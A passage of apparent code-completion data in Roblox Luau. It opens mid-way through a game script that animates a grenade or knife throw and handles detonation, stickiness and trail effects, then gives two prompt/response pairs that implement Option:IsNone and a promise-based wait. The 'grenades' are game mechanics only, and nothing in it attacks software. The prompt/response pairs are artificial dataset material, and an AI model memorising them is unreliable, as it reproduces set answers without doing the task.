				TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1), Sine, 0.2)
				wait(0.2)
			end
		end;

		function()
			if S.LethalGrenadeType ~= 3 or Type == 2 then
				TweenJoint(LWeld2, CF(), CF(), Sine, 0.3)
				TweenJoint(RWeld2, CF(), CF(), Sine, 0.3)
				TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3)
				TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3)
				wait(0.3)
			end
		end;

		function()
			TweenJoint(RWeld, ArmC0[2], CF(0, 0.8, 0.1) * CFANG(RAD(-10), 0, 0), Sine, 0.1)
			wait(0.07)
		end;

		function()
			local Main = nil
			Grenade0:Destroy()

			if S.LethalGrenadeType == 3 and Type == 1 then
				local Grenade1 = CreateKnife()
				Main = Grenade1

				Grenade1.Parent = Gun_Ignore

				Main.CFrame = FakeRArm.CFrame * Grip.C0 * CF(0, 0.5, 0) * CFANG(RAD(-90), 0, RAD(90))
				Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity)
				Main.RotVelocity = (Main.CFrame * CFANG(RAD(90), 0, 0)).lookVector * 20
			else
				local Grenade1 = CreateGrenade()
				Main = Grenade1:WaitForChild("Center")

				local Sound = Instance.new("Sound")
				Sound.SoundId = (Type == 1 and "rbxassetid://180302005" or "rbxassetid://156283116")
				Sound.Volume = 1
				Sound.PlayOnRemove = true
				Sound.Parent = Main

				Grenade1.Parent = Gun_Ignore

				Main.CanCollide = true
				Main.CFrame = FakeRArm.CFrame * Grip.C0
				if Type == 1 then
					Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.LethalGrenadeThrowVelocity)
				elseif Type == 2 then
					Main.Velocity = Main.Velocity + ((Head.CFrame * CFANG(RAD(7), 0, 0)).lookVector * S.TacticalGrenadeThrowVelocity)
				end
			end

			spawn(function()
				if Type == 1 then
					if S.LethalGrenadeType == 1 then
						if S.TimerStartOnHit then
							local Detonated = false
							Main.Touched:connect(function(Obj)
								if IsIgnored(Obj) or Detonated then return end
								Main.Velocity = Main.Velocity / 4
								Detonated = true

								wait(S.DetonationTime)

								DetonateExplosive(Main)
							end)
						else
							spawn(function()
								local Touched = false
								Main.Touched:connect(function(Obj)
									if IsIgnored(Obj) or Touched then return end
									Touched = true
									Main.Velocity = Main.Velocity / 4
								end)
							end)
							wait(S.DetonationTime)
							DetonateExplosive(Main)
						end
					elseif S.LethalGrenadeType == 2 then
						local Detonated = false
						local GrenadeCF = nil
						Main.Touched:connect(function(Obj)
							if IsIgnored(Obj) or Detonated then return end
							GrenadeCF = Main.CFrame

							local W = Instance.new("Weld")
							W.Name = "Semtex"
							W.Part0 = Main
							W.Part1 = Obj
							W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)
							W.Parent = Main

							Main.ChildRemoved:connect(function(C)
								if C.Name == "Semtex" then
									local W = Instance.new("Weld")
									W.Name = "Semtex"
									W.Part0 = Main
									W.Part1 = Obj
									W.C0 = GrenadeCF:toObjectSpace(Obj.CFrame)
									W.Parent = Main
								end
							end)

							if S.TimerStartOnHit then
								Detonated = true
								wait(S.DetonationTime)
								DetonateExplosive(Main)
							end
						end)

						if (not S.TimerStartOnHit) then
							wait(S.DetonationTime)
							Detonated = true
							DetonateExplosive(Main)
						end
					elseif S.LethalGrenadeType == 3 then
						local Touched = false
						Main.Touched:connect(function(Obj)
							if IsIgnored(Obj) or Touched then return end
							Touched = true

							local W = Instance.new("Weld")
							W.Name = "Sticky"
							W.Part0 = Main
							W.Part1 = Obj
							W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame)
							W.Parent = Main

							Main.ChildRemoved:connect(function(C)
								if C.Name == "Sticky" then
									local W = Instance.new("Weld")
									W.Name = "Sticky"
									W.Part0 = Main
									W.Part1 = Obj
									W.C0 = Main.CFrame:toObjectSpace(Obj.CFrame)
									W.Parent = Main
								end
							end)

							if Obj then
								if Obj.Parent.ClassName == "Hat" then
									local HitHumanoid = FindFirstClass(Obj.Parent.Parent, "Humanoid")
									if HitHumanoid and IsEnemy(HitHumanoid) then
										local CreatorTag = Instance.new("ObjectValue")
										CreatorTag.Name = "creator"
										CreatorTag.Value = Player
										CreatorTag.Parent = HitHumanoid
										HitHumanoid:TakeDamage(HitHumanoid.MaxHealth)
										MarkHit()
									end
								else
									local HitHumanoid = FindFirstClass(Obj.Parent, "Humanoid")
									if HitHumanoid and IsEnemy(HitHumanoid) then
										local CreatorTag = Instance.new("ObjectValue")
										CreatorTag.Name = "creator"
										CreatorTag.Value = Player
										CreatorTag.Parent = HitHumanoid
										HitHumanoid:TakeDamage(HitHumanoid.MaxHealth)
										MarkHit()
									end
								end
							end

							wait(3)

							Main:Destroy()
						end)
					end
				elseif Type == 2 then
					if S.TacticalGrenadeType == 1 then
						if S.TimerStartOnHit then
							local Detonated = false
							Main.Touched:connect(function(Obj)
								if IsIgnored(Obj) or Detonated then return end
								Main.Velocity = Main.Velocity / 2
								Detonated = true

								wait(S.DetonationTime)

								DetonateSmoke(Main)
							end)
						else
							spawn(function()
								local Touched = false
								Main.Touched:connect(function(Obj)
									if IsIgnored(Obj) or Touched then return end
									Touched = true
									Main.Velocity = Main.Velocity / 2
								end)
							end)
							wait(S.DetonationTime)
							DetonateSmoke(Main)
						end
					end
				end
			end)

			if S.GrenadeTrail and S.GrenadeTrailTransparency ~= 1 then
				spawn(function()
					local LastPos = nil
					while true do
						if LastPos then
							if (not Main:IsDescendantOf(game))
							or (Main.Name == "Knife" and FindFirstClass(Main, "Weld")) then
								break
							end
							local Trail = Instance.new("Part")
							Trail.BrickColor = S.GrenadeTrailColor
							Trail.Transparency = S.GrenadeTrailTransparency
							Trail.Anchored = true
							Trail.CanCollide = false
							Trail.Size = VEC3(1, 1, 1)
							local Mesh = Instance.new("BlockMesh")
							Mesh.Offset = VEC3(0, 0, -(Main.Position - LastPos).magnitude / 2)
							Mesh.Scale = VEC3(S.GrenadeTrailThickness, S.GrenadeTrailThickness, (Main.Position - LastPos).magnitude)
							Mesh.Parent = Trail
							Trail.Parent = Gun_Ignore
							Trail.CFrame = CF(LastPos, Main.Position)
							delay(S.GrenadeTrailVisibleTime, function()
								if S.GrenadeTrailDisappearTime > 0 then
									local X = 0
									while true do
										if X == 90 then break end
										if (not Selected) then break end
										local NewX = X + (1.5 / S.GrenadeTrailDisappearTime)
										X = (NewX > 90 and 90 or NewX)
										local Alpha = X / 90
										Trail.Transparency = NumLerp(S.GrenadeTrailTransparency, 1, Alpha)
										RS:wait()
									end
									Trail:Destroy()
								else
									Trail:Destroy()
								end
							end)
							LastPos = Main.Position
						else
							LastPos = Main.Position
						end
						RS:wait()
					end
				end)
			end
			wait(0.2)
		end;

		function()
			TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2)
			wait(0.3)
		end;

		function()
			Grip.Part0 = RArm
			Grip.C1 = CFANG(0, RAD(20), 0)

			TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Linear, 0.2)
			TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Linear, 0.2)
			wait(0.2)
		end;
	}

	for _,F in pairs(AnimTable) do
		if (not Selected) then
			break
		end
		F()
	end

	if (not Selected) and Grenade0 then
		Grenade0:Destroy()
	end
end


Prompt:
--[=[
	@return boolean
	Returns `true` if the option is None.
]=]

Response:
function Option:IsNone()
	return not self._s
end


Prompt:
--[=[
	Wraps the wait()/delay() API in a promise

	@class promiseWait
]=]

Response:
local require = require(script.Parent.loader).load(script)

local Promise = require("Promise")

return function(time)
	return Promise.new(function(resolve, _)
		task.delay(time, function()
			resolve()
		end)
	end)
end